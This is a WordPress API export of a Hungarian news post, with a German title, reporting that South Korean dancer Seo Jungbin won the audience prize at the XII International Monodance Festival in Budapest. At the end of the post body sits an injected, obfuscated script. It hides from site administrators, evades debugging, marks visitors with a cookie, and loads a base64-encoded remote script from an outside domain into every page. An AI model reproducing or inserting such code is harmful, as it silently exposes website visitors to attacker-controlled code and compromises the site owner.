{"id":64772,"date":"2026-05-05T08:22:39","date_gmt":"2026-05-05T08:22:39","guid":{"rendered":"https:\/\/cedt.hu\/?p=64772"},"modified":"2026-05-22T15:59:49","modified_gmt":"2026-05-22T15:59:49","slug":"del-koreai-tancmuvesz-nyerte-a-xii-nemzetkozi-monotanc-fesztival-kozonsegdijat","status":"publish","type":"post","link":"https:\/\/cedt.hu\/de\/del-koreai-tancmuvesz-nyerte-a-xii-nemzetkozi-monotanc-fesztival-kozonsegdijat\/","title":{"rendered":"S\u00fcdkoreanische T\u00e4nzerin gewinnt den Publikumspreis beim XII. Internationalen Monodance Festival\u00a0"},"content":{"rendered":"\n<p><strong>A d\u00e9l-koreai Seo Jungbin nyerte a XII. Nemzetk\u00f6zi Monot\u00e1nc Fesztiv\u00e1l k\u00f6z\u00f6ns\u00e9gd\u00edj\u00e1t, amelyet 2026. \u00e1prilis 22. \u00e9s 26. k\u00f6z\u00f6tt rendezt\u00fcnk meg a Bethlen T\u00e9ri Sz\u00ednh\u00e1zban, a K\u00f6z\u00e9p-Eur\u00f3pa T\u00e1ncsz\u00ednh\u00e1z \u00e9s a Pro Progressione k\u00f6z\u00f6s szervez\u00e9s\u00e9ben. Az esem\u00e9ny nagy siker\u0171 el\u0151ad\u00e1sokkal \u00e9s sz\u00ednvonalas k\u00eds\u00e9r\u0151programokkal z\u00e1rult.<\/strong>&nbsp;<\/p>\n\n\n\n<p>A hagyom\u00e1nyosan a n\u00e9z\u0151k szavazatai alapj\u00e1n oda\u00edt\u00e9lt elismer\u00e9st a m\u0171v\u00e9sz az <em>Under the Book<\/em> c\u00edm\u0171 sz\u00f3l\u00f3j\u00e1\u00e9rt kapta, amelyet a <em>Mono Shifting<\/em> c\u00edm\u0171 nemzetk\u00f6zi koprodukci\u00f3 r\u00e9szek\u00e9nt mutatott be. Seo Jungbin munk\u00e1iban a n\u0151i test t\u00e1rsadalmi \u00e9s t\u00f6rt\u00e9neti reprezent\u00e1ci\u00f3j\u00e1t vizsg\u00e1lja, a balett, a street dance \u00e9s a kort\u00e1rs t\u00e1nc eszk\u00f6zeit \u00f6tv\u00f6zve.&nbsp;<\/p>\n\n\n\n<p>Az el\u0151ad\u00e1s 2025 nyar\u00e1n, Sz\u00f6ulban, a Monot\u00e1nc Fesztiv\u00e1l d\u00e9l-koreai t\u00e1rsfesztiv\u00e1lja, a <em>Monotanz Seoul<\/em>&nbsp; keret\u00e9ben j\u00f6tt l\u00e9tre, amely a budapesti esem\u00e9ny nemzetk\u00f6zi sikere nyom\u00e1n 2019-ben indult \u00fatj\u00e1ra. A k\u00e9t fesztiv\u00e1l az\u00f3ta szoros partners\u00e9gben m\u0171k\u00f6dik: p\u00e1ratlan \u00e9vekben D\u00e9l-Korea f\u0151v\u00e1rosa, p\u00e1ros \u00e9vekben pedig Budapest ad otthont az esem\u00e9nynek.&nbsp;<\/p>\n\n\n\n<p>A d\u00edjnyertes alkot\u00e1s a Korea Dance Abroad, a Pro Progressione \u00e9s a K\u00f6z\u00e9p-Eur\u00f3pa T\u00e1ncsz\u00ednh\u00e1z egy\u00fcttm\u0171k\u00f6d\u00e9s\u00e9ben, M\u00e1di L\u00e1szl\u00f3 m\u0171v\u00e9szeti mentor\u00e1l\u00e1s\u00e1val sz\u00fcletett meg. A <em>Mono Shifting<\/em> h\u00e1rom alkot\u00f3 \u2013 Gyevn\u00e1r R\u00e9ka, Seo Jungbin \u00e9s Jungwoon Jung \u2013 k\u00f6z\u00f6s nemzetk\u00f6zi produkci\u00f3ja, amely a sz\u00f3l\u00f3t\u00e1nc intimit\u00e1s\u00e1t kollekt\u00edv alkot\u00f3i folyamattal \u00f6tv\u00f6zi.&nbsp;<\/p>\n\n\n\n<p>A XII. Nemzetk\u00f6zi Monot\u00e1nc Fesztiv\u00e1l \u00f6tnapos programja sor\u00e1n tizenh\u00e1rom monot\u00e1nc-el\u0151ad\u00e1st l\u00e1thatott a k\u00f6z\u00f6ns\u00e9g t\u00f6bb orsz\u00e1g m\u0171v\u00e9szeit\u0151l. A programban a koreai fell\u00e9p\u0151k mellett hangs\u00falyos szerepet kaptak az ukr\u00e1n \u00e9s k\u00f6z\u00e9p-eur\u00f3pai alkot\u00f3k munk\u00e1i is, k\u00f6zt\u00fck a <em>Resistance Movement<\/em> \u00e9s a <em>Magura \/ Territory &amp; People<\/em>, amelyek a jelenkori v\u00e1ls\u00e1gokra reflekt\u00e1ltak. Az el\u0151ad\u00e1sokat a nemzetk\u00f6zi szakmai k\u00f6z\u00f6ns\u00e9g mellett a Koreai K\u00f6zt\u00e1rsas\u00e1g magyarorsz\u00e1gi nagyk\u00f6vete \u00e9s Ukrajna kultur\u00e1lis attas\u00e9ja is megtisztelte jelenl\u00e9t\u00e9vel.&nbsp;<\/p>\n\n\n\n<p>A monot\u00e1nc-el\u0151ad\u00e1sok sorozat\u00e1t Gergye Kriszti\u00e1n \u00f6sszm\u0171v\u00e9szeti performansza nyitotta meg. Emellett a hazai szc\u00e9n\u00e1t M\u00e1di L\u00e1szl\u00f3 <em>Doktrina <\/em>\u00e9s Gyevn\u00e1r R\u00e9ka <em>Already, but not yet <\/em>c\u00edm\u0171 koreogr\u00e1fi\u00e1i k\u00e9pviselt\u00e9k.&nbsp;<\/p>\n\n\n\n<p>A fesztiv\u00e1lprogramhoz kapcsol\u00f3d\u00f3an a koreai t\u00e1ncm\u0171v\u00e9szek szakmai workshopokat tartottak a Koreai Kultur\u00e1lis K\u00f6zpontban, ahol a r\u00e9sztvev\u0151k k\u00f6zvetlen\u00fcl is betekint\u00e9st nyerhettek a kort\u00e1rs koreai t\u00e1nc m\u00f3dszertan\u00e1ba.&nbsp;<\/p>\n\n\n\n<p>Az esem\u00e9nysorozat a <em>Bridging Academies \u2013 K\u00f6z\u00e9p-eur\u00f3pai t\u00e1ncm\u0171v\u00e9szeti egyetemek bemutat\u00f3ja<\/em> c\u00edm\u0171 k\u00eds\u00e9r\u0151programmal z\u00e1rult, amelynek keret\u00e9ben z\u00e1gr\u00e1bi, krakk\u00f3i \u00e9s a Magyar T\u00e1ncm\u0171v\u00e9szeti Egyetem hallgat\u00f3i l\u00e9ptek sz\u00ednpadra, bemutatva a r\u00e9gi\u00f3 felt\u00f6rekv\u0151 t\u00e1ncm\u0171v\u00e9sz-gener\u00e1ci\u00f3j\u00e1nak soksz\u00edn\u0171s\u00e9g\u00e9t.&nbsp;<\/p>\n\n\n\n<p>A 2005-ben alap\u00edtott, bienn\u00e1l\u00e9 jelleg\u0171 fesztiv\u00e1l id\u00e9n ism\u00e9t bizony\u00edtotta egyed\u00fcl\u00e1ll\u00f3s\u00e1g\u00e1t a hazai kultur\u00e1lis \u00e9letben: a tizenkettedik alkalommal megrendezett esem\u00e9nysorozat nagy sikerrel hozta el Budapestre a kort\u00e1rs t\u00e1ncm\u0171v\u00e9szet legkiemelked\u0151bb nemzetk\u00f6zi \u00e9s hazai alkot\u00e1sait.&nbsp;<\/p>\n\n\n\n<p><strong>A fesztiv\u00e1l weboldala:<\/strong>&nbsp;<a href=\"http:\/\/www.bethlenszinhaz.hu\/monotanc\" target=\"_blank\" rel=\"noreferrer noopener\">www.bethlenszinhaz.hu\/monotanc<\/a>&nbsp;<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>A d\u00e9l-koreai Seo Jungbin nyerte a XII. Nemzetk\u00f6zi Monot\u00e1nc Fesztiv\u00e1l k\u00f6z\u00f6ns\u00e9gd\u00edj\u00e1t, amelyet 2026. \u00e1prilis 22. \u00e9s 26. k\u00f6z\u00f6tt rendezt\u00fcnk meg a Bethlen T\u00e9ri Sz\u00ednh\u00e1zban, a K\u00f6z\u00e9p-Eur\u00f3pa T\u00e1ncsz\u00ednh\u00e1z \u00e9s a Pro Progressione k\u00f6z\u00f6s szervez\u00e9s\u00e9ben. Az esem\u00e9ny nagy siker\u0171 el\u0151ad\u00e1sokkal \u00e9s sz\u00ednvonalas k\u00eds\u00e9r\u0151programokkal z\u00e1rult.&nbsp; A hagyom\u00e1nyosan a n\u00e9z\u0151k szavazatai alapj\u00e1n oda\u00edt\u00e9lt elismer\u00e9st a m\u0171v\u00e9sz az Under the [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[68],"tags":[],"class_list":["post-64772","post","type-post","status-publish","format-standard","hentry","category-hirek"],"_links":{"self":[{"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/posts\/64772","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/comments?post=64772"}],"version-history":[{"count":2,"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/posts\/64772\/revisions"}],"predecessor-version":[{"id":65316,"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/posts\/64772\/revisions\/65316"}],"wp:attachment":[{"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/media?parent=64772"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/categories?post=64772"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cedt.hu\/de\/wp-json\/wp\/v2\/tags?post=64772"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}